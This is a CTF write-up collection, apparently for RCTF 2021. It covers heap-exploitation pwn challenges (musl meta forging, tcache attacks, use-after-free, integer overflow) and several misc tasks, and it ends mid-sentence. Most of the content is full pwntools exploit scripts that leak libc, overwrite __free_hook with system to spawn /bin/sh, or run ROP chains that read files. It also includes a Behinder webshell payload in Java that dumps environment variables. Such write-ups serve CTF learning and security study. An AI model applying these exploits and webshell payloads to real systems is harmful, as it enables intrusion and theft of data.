from pwn import * WDFLAG = 1 << 5 SHJDFLAG = 1 << 1 _ATK ='\x01' _CM ='\x02' STBF ='\x03' _LDMHP ='\x04' _LDEHP ='\x06' _CMP ='\x08' _JMP ='\x09' _JZ ='\x0a' _JG ='\x0b' _JL ='\x0c' _LDREG ='\x0d' _ADD ='\x10' _TALK ='\x11' _SLCE ='\x12' p = process('./game') def Benediction(): re = '' re += '\x02\x00' return re def Solace(): re = '' re += '\x02\x01' return re def Despair(): re = '' re += '\x02\x02' return re def Superbolide(): re = '' re += '\x02\x03'+STBF+chr(WDFLAG) return re def Reprisal(): re = '' re += '\x02\x04' return re def attack(): re ='' re+= _ATK return re def LDEHP(r): re = '' re += _LDEHP re += chr(r) return re def LDREG(r,b,v): re = '' re += _LDREG re += chr(r) re += chr(b) re += chr(v) return re def CMP(r1,r2): re = '' re+= _CMP re+= chr(r1) re+= chr(r2) return re def ADD(r1,r2): re = '' re+= _ADD re+= chr(r1) re+= chr(r2) return re def JMP(off): re = '' re+= _JMP re += p16(off) return re def JZ(off): re = '' re+= _JZ re += p16(off) return re def JG(off): re = '' re+= _JG re += p16(off) return re def JL(off): re = '' re+= _JL re += p16(off) return re def talk(type,size): re = '' re+=_TALK re += chr(type) re += chr(size) return re def dele(): re = '' re+=_SLCE return re def dice(): return '\x13' spell = '' spell += Reprisal() spell += Solace() spell += Solace() spell += Reprisal() spell += Solace() spell += Solace() spell += Superbolide() spell += Benediction() spell += Solace() spell += Solace() spell += talk(2,0xb0) spell += dele() spell += talk(2,0xb0) spell += dele() spell += Solace() spell += talk(2,0xb0) spell += dele() spell += talk(2,0xb0) spell += dele() spell += Solace() spell += talk(2,0xb0) spell += dele() spell += talk(2,0xb0) spell += dele() spell += Solace() spell += talk(2,0xb0) spell += dele() spell += Solace() #======================== spell += Solace()##stny spell += Solace() spell += dele() spell += Solace() spell += talk(1,1) for i in range(4): spell += Despair() spell += Solace() spell += Despair() spell += Solace() spell += Despair() spell += Solace() spell += Despair() spell += dice() spell += Solace() spell += dele() spell += dice() spell += Solace() spell += Solace() spell += LDEHP(0) spell += LDEHP(1) spell += LDREG(1,1,0) spell += LDREG(2,1,1) spell += Solace() spell += Solace()#2 spell += ADD(1,2)#3 spell += CMP(0,1)#3 spell += JZ(3)#3 spell += JMP(-14&0xffff)#3 spell += Benediction() spell += Solace() spell += Solace() #== spell += LDREG(1,2,0) spell += LDREG(2,1,0) spell += LDREG(2,2,1) spell += Solace()#2 spell += ADD(1,2)#3 spell += CMP(0,1)#3 spell += JZ(3)#3 spell += JMP(-14&0xffff)#3 spell += Benediction() spell += Solace() spell += Solace() #== spell += LDREG(1,3,0) spell += LDREG(2,2,0) spell += LDREG(2,3,1) spell += Solace()#2 spell += ADD(1,2)#3 spell += CMP(0,1)#3 spell += JZ(3)#3 spell += JMP(-14&0xffff)#3 spell += Benediction() spell += Solace() spell += Solace() #== spell += LDREG(1,4,0) spell += LDREG(2,3,0) spell += LDREG(2,4,1) spell += Solace()#2 spell += ADD(1,2)#3 spell += CMP(0,1)#3 spell += JZ(3)#3 spell += JMP(-14&0xffff)#3 spell += Benediction() spell += Solace() spell += Solace() #== spell += LDREG(1,5,0) spell += LDREG(2,4,0) spell += LDREG(2,5,1) spell += Solace()#2 spell += ADD(1,2)#3 spell += CMP(0,1)#3 spell += JZ(3)#3 spell += JMP(-14&0xffff)#3 spell += Benediction() spell += Solace() spell += Solace() #=== spell += talk(1,0x10) spell += talk(1,0x10) spell += talk(1,0x10) spell += Solace() spell += Solace() spell += talk(1,0x10) spell += dele() spell += Solace() spell += Solace() p.recvuntil('length:') p.sendline(str(len(spell))) p.recvuntil('spell') p.send(spell) #p.interactive() for i in range(8): p.recvuntil('talk to the dragon?') p.send('\n') p.recvuntil('The follower is down,and the angry dragon came back with Exaflare!') p.recvuntil('The dragon casted Exaflare!') p.recvuntil('You used Dynamis Dice and the dragon\'s attack changed to ') p.recvuntil('You used Dynamis Dice and the dragon\'s attack changed to ') for i in range(4): p.recvuntil('You casted Solace') addr = 0 for i in range(5): tmp = 0 while True: p.recvuntil('You casted') a = p.recvline() if 'Solace' in a: tmp+=1 continue if 'Benediction' in a: print hex(tmp) addr += tmp <<((i+1)*8) break p.recvuntil('You casted Solace') p.recvuntil('You casted Solace') print hex(addr) libc_base = addr - 0x1ebb00 hook = 0x1eeb28+libc_base system = 0x55410+libc_base print hex(libc_base) p.recvuntil('talk to the dragon?') p.sendline(p64(hook)) p.recvuntil('talk to the dragon?') p.sendline(p64(system)) p.recvuntil('talk to the dragon?') p.sendline(p64(system)) p.recvuntil('talk to the dragon?') p.sendline('/bin/sh\x00') p.interactive()
- Reference
- https://www.finalfantasyxiv.com/
- https://ffxiv.consolegameswiki.com/
- https://clees.me/guides/ucob/
PS: Welcome to join our FF14 Free Company(CN-HaiMaoChaWu-无影)
PS: 欢迎加入我们的FF14部队(国服-海猫茶屋-无影)
musl
The vul is located in the add func, and the heap overflow is caused by not checking the condition of size<=0. When applying for size=0 and size=0xC, they actually get chunks of chunk_size=0x10. It can be found that their group_addr is located at the libc address. Thus, leaks of libcbase and secret can be accomplished using vul and show func.
By using heap overflow to forge chunk offset and index and forge meta, stdout_used is finally hijacked.
The elf uses seccomp to disable execve, buf flag can be obtained via orw
You can find such a gadget in libc.so, which controls rsp and rip for rop in close_file
#ROPgadget --binary /usr/local/musl/lib/libc.so --only 'mov|jmp' | grep 'rsp'
0x000000000004a5ae : mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
flagname is not told. Use getdents to probe the flagname and then orw.
python exp.py /home/ctf/flag/
# -*- coding: utf-8 -*
from pwn import *
import sys, getopt
context.log_level = 'debug'
def add(idx,size,content):
p.sendafter(">>", "1".ljust(0x10,'\x00'))
p.sendafter("idx?\n",str(idx).ljust(0x10,'\x00'))
p.sendafter("size?\n",str(size).ljust(0x10,'\x00'))
p.sendafter("Contnet?\n",content)
def free(idx):
p.sendafter(">>","2".ljust(0x10,'\x00'))
p.sendafter("idx?\n",str(idx).ljust(0x10,'\x00'))
def show(idx):
p.sendafter(">>","3".ljust(0x10,'\x00'))
p.sendafter("idx?\n",str(idx).ljust(0x10,'\x00'))
def exp(flag_path):
global p
p = remote("123.60.25.24",12345)
#1.leak libc
add(0,1,b"")
add(1,1,b"")
for i in range(2,15):
add(i,1,b"")
free(0)
payload = "A"*0xF+"\n"
add(0,0,payload)
show(0)
p.recvline()
libcbase = u64(p.recvn(6).ljust(8,b'\x00')) - (0x7fc28eee1d50 - 0x7fc28ec49000)
malloc_context = libcbase + (0x7fc28eedeae0 - 0x7fc28ec49000)
stdout_used_ptr = libcbase + (0x7fc28eede450 - 0x7fc28ec49000)
magic_gadget = libcbase + 0x000000000004a5ae #0x000000000004a5ae :mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
poprdiraxret = libcbase + 0x000000000007144e
poprsiret = libcbase + 0x000000000001b27a
poprdxret = libcbase + 0x0000000000009328
syscallret = libcbase + 0x0000000000023711
ret = libcbase + 0x000000000001689b
#2.leak secret
free(2)
payload = b"A"*0x10+p64(malloc_context)+b"\n"
add(2,0,payload)
show(3)
p.recvuntil("Content: ")
secret = u64(p.recvn(8))
#3.fake chunk6's offset and index
chunk_addr = libcbase + (0x7ff9422d4020 - 0x7ff942044000)
fake_stdout_used = chunk_addr + 0x30
fake_group = libcbase + (0x7ff9422dcdd0 - 0x7ff942044000)
free(5)
payload = p64(libcbase+(0x7f38bb7d6010 - 0x7f38bb545000))#fake group->meta
payload +=p64(0x000c0c000000000b)
payload +=p64(libcbase+(0x7ff4266c9df0 - 0x7ff426431000))
payload +=b"\x00"*5+p8(0)+p16(1)#idx=0 offset=0x10
add(5,0,payload+b"\n")
#4.fake_stdout_used and fake_meta
#fake_stdout_used
payload = flag_path.ljust(0x30,b'\x00')
payload +=b'\x00'*0x30+p64(chunk_addr + 0x100)#mov rsp, qword ptr [rdi + 0x30]
payload +=p64(ret)#jmp qword ptr [rdi + 0x38]
payload +=p64(0)+p64(magic_gadget)
payload = payload.ljust(0x100,b'\x00')
#open(flag_path, O_RDONLY | O_DIRECTORY)
payload +=p64(poprdiraxret)+p64(chunk_addr)+p64(2)
payload +=p64(poprsiret)+p64(0x10000)+p64(syscallret)
#getdents(fd, buf, BUF_SIZE)
payload +=p64(poprdiraxret)+p64(3)+p64(78)
payload +=p64(poprsiret)+p64(chunk_addr+0x300)
payload +=p64(poprdxret)+p64(0x100)+p64(syscallret)
#fill the path
LEN = len(flag_path)
payload +=p64(poprdiraxret)+p64(0)+p64(0)
payload +=p64(poprsiret)+p64(chunk_addr+0x312-LEN)
payload +=p64(poprdxret)+p64(LEN)+p64(syscallret)
#open(flag,0_RDONLY)
payload +=p64(poprdiraxret)+p64(chunk_addr+0x312-LEN)+p64(2)
payload +=p64(poprsiret)+p64(0)+p64(syscallret)
#read(fd,buf,size)
payload +=p64(poprdiraxret)+p64(4)+p64(0)
payload +=p64(poprsiret)+p64(chunk_addr+0x600)
payload +=p64(poprdxret)+p64(0x30)+p64(syscallret)
#write(1,buf,size)
payload +=p64(poprdiraxret)+p64(1)+p64(1)
payload +=p64(poprsiret)+p64(chunk_addr+0x600)
payload +=p64(poprdxret)+p64(0x30)+p64(syscallret)
payload = payload.ljust(0x1000-0x20,b'\x00')
#fake_meta_area
payload +=p64(secret)+p64(0)
#fake_meta
payload +=p64(fake_stdout_used)+p64(stdout_used_ptr)#prev next
payload +=p64(fake_group)#mem
payload +=p32(0x7f-1)+p32(0)#avail_mask=0x7e freed_mask=0
maplen = 1
freeable = 1
sizeclass = 1
last_idx = 6
last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)
payload +=p64(last_value)+p64(0)
add(15,0x1500,payload+b"\n")
free(6)
#exit
p.sendafter(">>",b"4".ljust(0x10,b'\x00'))
p.send(flag_path)
p.interactive()
if __name__ == "__main__":
exp(bytes(sys.argv[1],encoding='utf-8'))
Pokemon
The main vulnerability is psyduck’s operation function. When calling the listen
function, strchr
is used to limit the leak of the heap address. However, if the heap layout is adjusted so that the heap address contains '\x00'
, it can bypass the limit. During talk
, the secret variable in the class is written every 0x10, but 0x10 will overflow into the subsequent chunk, which can be overwritten to the FD and BK positions of the next chunk.
Therefore, we can leak the heap address through listening, and then complete 'tcache staging unlink attack'
through heap overflow in psyduck. At the same time, we write the libc address to the password position of the corresponding heap block of Pikachu.
Finally, the libc address is leaked by challenging Mewtwo and overwrite free_hook as system, through ptr in Pikachu.
EXP
from pwn import *
context.log_level = 'debug'
io = process('./Pokemon')
# io = remote('127.0.0.1', 8873)
libc = ELF('./libc.so.6')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
text ='''heapinfo
'''
def Menu(cmd):
sla('Choice: ', str(cmd))
def Add(atype, size, idx):
Menu(1)
sla('Choice:', str(atype))
if atype == 1:
sla('to be?\n', str(size))
sla('[0/1]\n', str(idx))
def Del(idx, verify=''):
Menu(2)
sla('[0/1]\n', str(idx))
Menu(1)
if verify != '':
sla('[Y/N]\n', verify)
def Show(idx):
Menu(2)
sla('[0/1]\n', str(idx))
Menu(2)
def Edit(idx, content):
Menu(2)
sla('[0/1]\n', str(idx))
Menu(3)
sa('You say: ', content)
def Challenge(idx, verify='N', pwd=''):
Menu(3)
content = ''
if verify == 'N':
sla('[0/1]\n', str(idx))
ru('evolutionary gem: ')
content = rn(8)
sla('[Y/N]\n', verify)
if verify == 'Y':
sla('password: ', pwd)
return content
sla('name:', 'RCTF2021')
for x in xrange(5):
Add(1, 0x1d0, 0)
Del(0)
Add(1, 0x300, 0)
for x in xrange(7):
Add(1, 0x300, 1)
Del(1)
Del(0)
Add(1, 0x120, 0)
Add(1, 0x2e0, 1)
Del(0)
Del(1)
for x in xrange(7):
Add(1, 0x1e0, 0)
Del(0)
Add(1, 0x1e0, 0)
Add(1, 0x200, 1)
Del(0)
for x in xrange(7):
Add(1, 0x200, 0)
Del(0)
Del(1)
Add(2, 0, 1)
Show(1)
ru('Psyduck say: ')
heap_base = uu64(rn(8)) - 0x15200
lg('heap_base', heap_base)
Add(1, 0x2e0, 0)
Del(0)
Add(1, 0x200, 0)
payload = 'A'*0x100
payload += p64(heap_base+0x12a30) + p64(heap_base+0x16760)
Edit(1, payload)
Del(1, 'Y')
Add(1, 0x1d0, 1)
content = Challenge(1, 'N', '')
libc_base = uu64(content) - 0x1ebdb0
lg('libc_base', libc_base)
Del(1)
Add(3, 0, 1)
free_hook = libc_base + libc.symbols['__free_hook']
payload = 'A'*8
payload += p64(free_hook-8)
Edit(1, payload+'\n')
system_addr = libc_base + libc.symbols['system']
tmp = '/bin/sh\x00'
tmp += p64(system_addr)
payload = ''
for x in tmp:
payload += chr( ord(x) ^ ord('A') )
Challenge(0, 'Y', payload)
Del(0)
irt()
catch_the_frog-pwn
When allocating a frog, we can assign a size of the frog:
Frog(size_t name_sz) {
size_t alloc_sz = name_sz + 8;
if (alloc_sz < 0x100) {
name_ = static_cast<char*>(malloc(alloc_sz));
name_sz_ = name_sz;
} else {
name_ = static_cast<char*>(malloc(0x100 - 8));
name_sz_ = 0x100 - 8;
}
feed_times_ = 0;
}
However, there is no bound check on the name_sz
. If it is bigger than or equal to 0xfffffffffffffff8
, an integer overflow happens.
When we modify the frog, we decide from name_sz
, which is super large. Therefore we have heap overflow.
Exploit
from pwn import *
context.terminal = ["tmux", "new-window"]
#context.log_level = True
is_remote = False
remote_addr = ['',0]
elf_path = "./catch_the_frog"
libc_path = "libc-2.27.so"
client = process("client")
if is_remote:
p = remote(remote_addr[0], remote_addr[1])
else:
p = process(elf_path, aslr = True)
if elf_path:
elf = ELF(elf_path)
if libc_path:
libc = ELF(libc_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s, addr = None):
if addr != None:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a = 6):
if(a == 6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def client_choice(index):
client.sendlineafter(": ", str(index))
def recv_packet():
client.recvuntil("size: ")
size = int(client.recvline())
client.recvuntil("Content: ")
packet = client.recv(size)
sla(": ", str(len(packet)))
sa(": ", packet)
def alloc(size):
client_choice(1)
client_choice(size)
return recv_packet()
def edit(index, content):
client_choice(5)
client_choice(index)
client_choice(len(content))
client.sendafter(": ", content)
return recv_packet()
def show(index):
client_choice(3)
client_choice(index)
return recv_packet()
def free(index):
client_choice(4)
client_choice(index)
return recv_packet()
if __name__ == "__main__":
alloc(0x10000000000000000-8)
edit(0, "FUCKME.")
show(0)
alloc(0x100)
edit(1, "FUCKYOU")
edit(0, "A"*0x20)
show(0)
ru("A"* 0x20)
heap_addr = raddr() + 0x1c0 + 0x50
lg("Heap", heap_addr)
for i in range(8):
alloc(0xf0)
for i in range(8):
free(9 - i)
edit(0, "A"*0x20 + p64(heap_addr))
show(1)
ru("from ")
libc_addr = raddr() - 0x3ebca0
lg("libc", libc_addr)
libc.address = libc_addr
edit(0, "/bin/sh\x00"*3 + p64(0x21) + p64(libc.symbols["__free_hook"]))
edit(1, p64(libc.symbols["system"]))
free(0)
#gdb.attach(p)
sla(": ", "\n")
client.close()
p.interactive()
warmnote
The main vulnerability is that there is an overflow of 8 null bytes when updating the note.
The new
function uses the malloc function to apply for the title, before using the view
function. We can apply for a freed note block as the title block, to leak the libc address. Then, the secret value in the meta-structure is leaked by the backdoor.
We can fake the meta structure of musl on the slot, and hijack the meta structure by using the overflow of 8 null bytes, to apply for memory at any address. Finally, we can do stack-pivot to make ROP, by overwriting the FILE.
EXP
from pwn import *
context.log_level = 'debug'
io = process('./warmnote')
# io = remote('127.0.0.1', 6666)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
def Menu(cmd):
sla('>> ', str(cmd))
def Add(size, title, note):
Menu(1)
sla('Size: ', str(size))
sa('Title: ', title)
sa('Note: ', note)
def Show(idx):
Menu(2)
sla('Index: ', str(idx))
def Del(idx):
Menu(3)
sla('Index: ', str(idx))
def Edit(idx, note):
Menu(4)
sla('Index: ', str(idx))
sa('Note: ', note)
def backdoor(addr):
Menu(666)
sla('[IN]: ', str(addr))
ru('[OUT]: ')
return uu64(rn(8))
Add(0x30, '0'*0x10, 'A'*0x30)
Add(0x30, '1'*0x10, 'B'*0x30)
Add(0x30, '2'*0x10, 'C'*0x30)
Add(0x30, '3'*0x10, 'D'*0x30)
for x in xrange(4):
Del(x)
Add(0x138, '0'*0x10, 'A'*0x138)
Add(0x138, '1'*0x10, '\x00'*0x138)
Show(1)
ru('Title: '+'1'*0x10+'A'*0x10)
libc_base = uu64(rl()) - 0xb79a0
lg('libc_base')
context_addr = libc_base + 0xb4ac0
secret = backdoor(context_addr)
lg('secret')
fake_meta_addr = libc_base - 0x5fe0
payload = 'X'*0xfe0
payload += p64(secret) + p64(0) + p64(1) + p64(0)
payload += p64(0) + p64(0)
payload += p64(libc_base + 0xb7990) + p64(0x0000000000000000)
payload += p64(0x222)
payload = payload.ljust(0x2000, 'X')
Add(0x2000, '2'*0x10, payload)
payload = 'A'*0x130 + p64(fake_meta_addr)
Edit(0, payload)
Del(1)
payload = 'X'*0xfd0
payload += p64(secret) + p64(0) + p64(1) + p64(0)
payload += p64(fake_meta_addr) + p64(fake_meta_addr)
payload += p64(libc_base + 0xb6f84 -13) + p64(0x0000000100000000)
payload += p64(0x122)
payload = payload.ljust(0x2000, 'X')
Del(2)
Add(0x2000, '1'*0x10, payload)
Add(0x80, '2'*0x10, '\n')
rdi_ret = libc_base + 0x00000000000152a1
rsi_ret = libc_base + 0x000000000001dad9
rdx_ret = libc_base + 0x000000000002cdae
leave_ret = libc_base + 0x000000000001699c
rsp_ret = libc_base + 0x0000000000015e47
open_addr = libc_base + 0x1fa70
read_addr = libc_base + 0x74f10
write_addr = libc_base + 0x75700
addr1 = libc_base - 0x6fc0
payload = p64(0)
payload += p64(rsp_ret)
payload += p64(addr1 + 0x90)
payload += p64(0) + p64(0)
payload += p64(1) + p64(0)
payload += p64(0) + p64(0)
payload += p64(leave_ret)
payload += p64(leave_ret)
payload = payload.ljust(0x8c, '\x00')
payload += p32(0xffffffff)
payload += p64(rdi_ret)
payload += p64(addr1+0x90+0xa8)
payload += p64(rsi_ret)
payload += p64(0)
payload += p64(rdx_ret)
payload += p64(0)
payload += p64(open_addr)
payload += p64(rdi_ret)
payload += p64(3)
payload += p64(rsi_ret)
payload += p64(addr1+0x90+0xa8+0x10)
payload += p64(rdx_ret)
payload += p64(0x30)
payload += p64(read_addr)
payload += p64(rdi_ret)
payload += p64(1)
payload += p64(rsi_ret)
payload += p64(addr1+0x90+0xa8+0x10)
payload += p64(rdx_ret)
payload += p64(0x30)
payload += p64(write_addr)
payload += './flag\x00'
payload = payload.ljust(0xfc0, 'X')
payload += p64(secret) + p64(0) + p64(1) + p64(0)
payload += p64(fake_meta_addr) + p64(fake_meta_addr)
payload += p64(libc_base + 0xB6E00) + p64(0x0000000100000000)
payload += p64(0x122)
payload = payload.ljust(0x2000, 'X')
Del(1)
Add(0x2000, '1'*0x10, payload)
paylaod = p64(0)+p64(addr1)+'\n'
Add(0x80, '3'*0x10, paylaod)
Menu(5)
irt()
sharing
This is a heap management app using std::shared_ptr
. The chunk is of class Chunk
:
struct Chunk {
size_t size;
char* buffer;
Chunk(size_t siz) {
size = siz;
buffer = static_cast<char*>(malloc(size));
}
void Show() { write(1, buffer, size); }
void Edit() { read(0, buffer, size); }
~Chunk() { free(buffer); }
};
There is a backdoor that allows you to subtract 2 from any byte. So there are two easy ways to exploit this.
- Subtract the reference count of the shared pointer so that it frees the chunk too early, causing a UAF.
- Subtract the higher byte of the size to make it bigger than the allocated size, causing a heap buffer overflow.
Exploit
from pwn import *
context.terminal = ["tmux", "new-window"]
#context.log_level = True
is_remote = False
remote_addr = ['',0]
elf_path = "./sharing"
libc_path = "/lib/x86_64-linux-gnu/libc-2.27.so"
if is_remote:
p = remote(remote_addr[0], remote_addr[1])
else:
p = process(elf_path, aslr = True)
if elf_path:
elf = ELF(elf_path)
if libc_path:
libc = ELF(libc_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s, addr = None):
if addr != None:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a = 6):
if(a == 6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(i):
sla(": ", str(i))
def add(idx, siz):
choice(1)
choice(idx)
choice(siz)
def show(idx):
choice(3)
choice(idx)
def edit(idx, content):
choice(4)
choice(idx)
sa("Content: ", content)
def dup(source, dst):
choice(2)
choice(source)
choice(dst)
if __name__ == "__main__":
for i in range(20):
add(i, 0x100)
for i in range(20):
dup(21, i)
add(0, 0x500)
show(0)
rv(8 * 3)
heap_addr = u64(rv(8)) - 0x160
lg("Heap", heap_addr)
rv(8 * 2)
libc_addr = u64(rv(8)) - 0x3ebca0
lg("libc", libc_addr)
libc.address = libc_addr
ru("Choice")
dup(21, i)
add(0, 0x100)
add(1, 0x100)
edit(0, "/bin/sh\x00")
edit(1, "fuckyou")
choice(0xdead)
choice("C++isreallyCool!")
choice(heap_addr)
show(1)
content = rv(0x128)
edit(1, content + p64(libc.symbols['__free_hook']))
edit(1, p64(libc.symbols['system']))
dup(21, 0)
p.interactive()
unistruct
A program is written with std::variant
. When you allocate and edit a vector of int, the logic is
case 4: {
auto vec = std::get<4>(chunks[index]);
int in_place;
unsigned int new_value = 0;
for (auto iter = vec.begin(); iter != vec.end(); ++iter) {
std::cout << "Old value: " << *iter << std::endl;
std::cout << "Append or in place, 1 for in place: ";
std::cin >> in_place;
std::cout << "New value: ";
std::cin >> new_value;
if (new_value == 0xcafebabe) break;
if (in_place) {
*iter = new_value;
} else {
vec.push_back(new_value);
iter--;
}
}
break;
}
The problem is that you can change the size of the vector when iterating its elements, which will invalidate iter
, causing a UAF.
Exploit
from pwn import *
context.terminal = ["tmux", "new-window"]
context.log_level = True
is_remote = False
remote_addr = ['',0]
elf_path = "./unistruct"
libc_path = "/lib/x86_64-linux-gnu/libc-2.27.so"
if is_remote:
p = remote(remote_addr[0], remote_addr[1])
else:
p = process(elf_path, aslr = False)
if elf_path:
elf = ELF(elf_path)
if libc_path:
libc = ELF(libc_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s, addr = None):
if addr != None:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a = 6):
if(a == 6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(i):
sla(": ", str(i))
def add(idx, typ, siz):
choice(1)
choice(idx)
choice(typ)
choice(siz)
def show(idx):
choice(3)
choice(idx)
def edit(idx, content):
choice(2)
choice(idx)
for (inplace, new_value) in content:
ru(":")
value = int(rl())
choice(inplace)
choice(new_value)
def free(index):
choice(4)
choice(index)
def receive_a_int():
ru(": ")
value = int(rl())
return value
if __name__ == "__main__":
add(0, 4, 0x200)
show(0)
choice(2)
choice(0)
receive_a_int()
choice(1)
choice(0)
libc_addr = 0
a = receive_a_int()
choice(0)
choice(a)
a = receive_a_int()
choice(1)
choice(a)
a = receive_a_int()
choice(1)
choice(a)
libc_addr = a
a = receive_a_int()
choice(1)
choice(a)
libc_addr = a * 0x100000000 + libc_addr - 0x3ebca0
lg("libc_addr", libc_addr)
libc.address = libc_addr
a = receive_a_int()
choice(0)
choice(0xcafebabe)
add(1, 4, 0x10)
free_hook = libc.symbols['__free_hook'] - 8
system = libc.symbols['system']
edit(1, [(0, 1), (1, free_hook & 0xFFFFFFFF), (1, free_hook >> 32), (0, 0xcafebabe)])
add(2, 4, 0x10)
choice(1)
choice(3)
choice(3)
sla(": ", "/bin/sh\x00" + p64(system) * 6 + "\n")
#add(3, 4, 0x10)
#choice(2)
#choice(3)
#a = receive_a_int()
#choice(1)
#choice(0xdeadbeef)
#edit(3, [(1, 0xdeadbeef), (1, system >> 32), (1, 0xcafebabe)])
#edit(3, [(1, system & 0xFFFFFFFF), (1, system >> 32), (1, 0xcafebabe)])
#gdb.attach(p)
p.interactive()
Misc
CheckIn
- GitHub masks secrets when they are printed to the console like
***
- the flag is just a few numbers
just make a script to generate payload and it also can prevent others get the flag from your issue
import random
a=[False for i in range(1000000)]
payload = "01234"
count = 1
while True:
n = random.choice("0123456789")
now = payload[-4:] + n
if not a[int(now)]:
payload+=n
count+=1
if count %100 == 0 :
print(f"process :{count}/99999,payload length: {len(payload)}")
with open("payload.txt","w") as f:
f.write(payload)
if count == 99999:
print("finish")
break
FeedBack
Finish the feedback to get the flag
welcome_to_rctf
Open the website and get the flag
ezshell
http://124.70.137.88:60080/xxx tomcat 404 error
/index.html jump to /shell to download ROOT.war
found a servlet shell based on shell.jsp of the Behinder, according to the desc, There is an agent to filter memshell and ProcessImpl, and The Outbound traffic is closed, so just Echo
According to the hint, read the source code of the Behinder BasicInfo, and find that its function is to output environment variables and system properties, then try to directly output environment variables and see flag 🙂
Additions
In fact, the main direction of this question is the conflict between the getOutputStream used in the Behinder key interaction and the getWriter in the Servlet
If some ctfers have a modified Behinder that supports connecting to memshell, they should not be able to connect even after modifying the corresponding function name to ‘e’ in the Servlet: )
payload/java/Echo
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
A demo of Behinder that supports memshell connection and function conflict resolution
https://github.com/pipimi110/Behinder_ezshell
The agent used in ezshell
https://github.com/pipimi110/javaAgentLearn
Exp
import javassist.ClassPool;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;
public class demo {
public boolean e(Object obj1, Object obj2) {
solve((HttpServletResponse) obj2);
return false;
}
public void solve(HttpServletResponse obj2) {
try {
obj2.getWriter().write("demo success");
obj2.getWriter().write(getSysEnv());
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
// getSysEnv();
getpayload();
}
public static String getSysEnv() throws Exception {
StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
Map<String, String> env = System.getenv();
Iterator var5 = env.keySet().iterator();
while (var5.hasNext()) {
String name = (String) var5.next();
basicInfo.append(name + "=" + (String) env.get(name) + "<br/>");
}
return (basicInfo.toString());
}
public static void getpayload() throws Exception {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
Cipher c = Cipher.getInstance("AES");
c.init(1, new SecretKeySpec(k.getBytes(), "AES"));
byte[] bytes = ClassPool.getDefault().get("demo").toBytecode();
bytes = c.doFinal(bytes);
System.out.println(new String(Base64.getEncoder().encode(bytes)));
}
}
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
CoolCat
I am honored to give a misc challenge for RCTF( forgive me for my poor English plz
The idea of this challenge comes from an article authored by Merricx, a crypto master
you can visit it for this link
https://merricx.github.io/dont-roll-your-own-crypto-1/
After reading this article, I tried to use a part of technique in it to make a simple challenge
If you want to learn more, you can search for knowledge about Arnold’s Cat Map
Now, I will give one solution to solve this challenge
now let’s see the source code
def ACM(img, p, q, m):
counter = 0
if img.mode == "P":
img = img.convert("RGB")
assert img.size[0] == img.size[1]
while counter < m:
dim = width, height = img.size
with Image.new(img.mode, dim) as canvas:
for x in range(width):
for y in range(height):
nx = (x + y * p) % width
ny = (x * q + y * (p * q + 1)) % height
canvas.putpixel((nx, ny), img.getpixel((x, y)))
img = canvas
counter += 1
return canvas
# My image was encrypted by ACM, but I lost the p,q, and m ......
lol, I made m is uncertain, so each time you get the image may be different!
As the m increase, the server takes more time to encrypt the image
so I set m random.randint(1,5) ( I think if there are too many requests, this way will be blocked, so I made m tiny, you can also get m by brute-force
get m
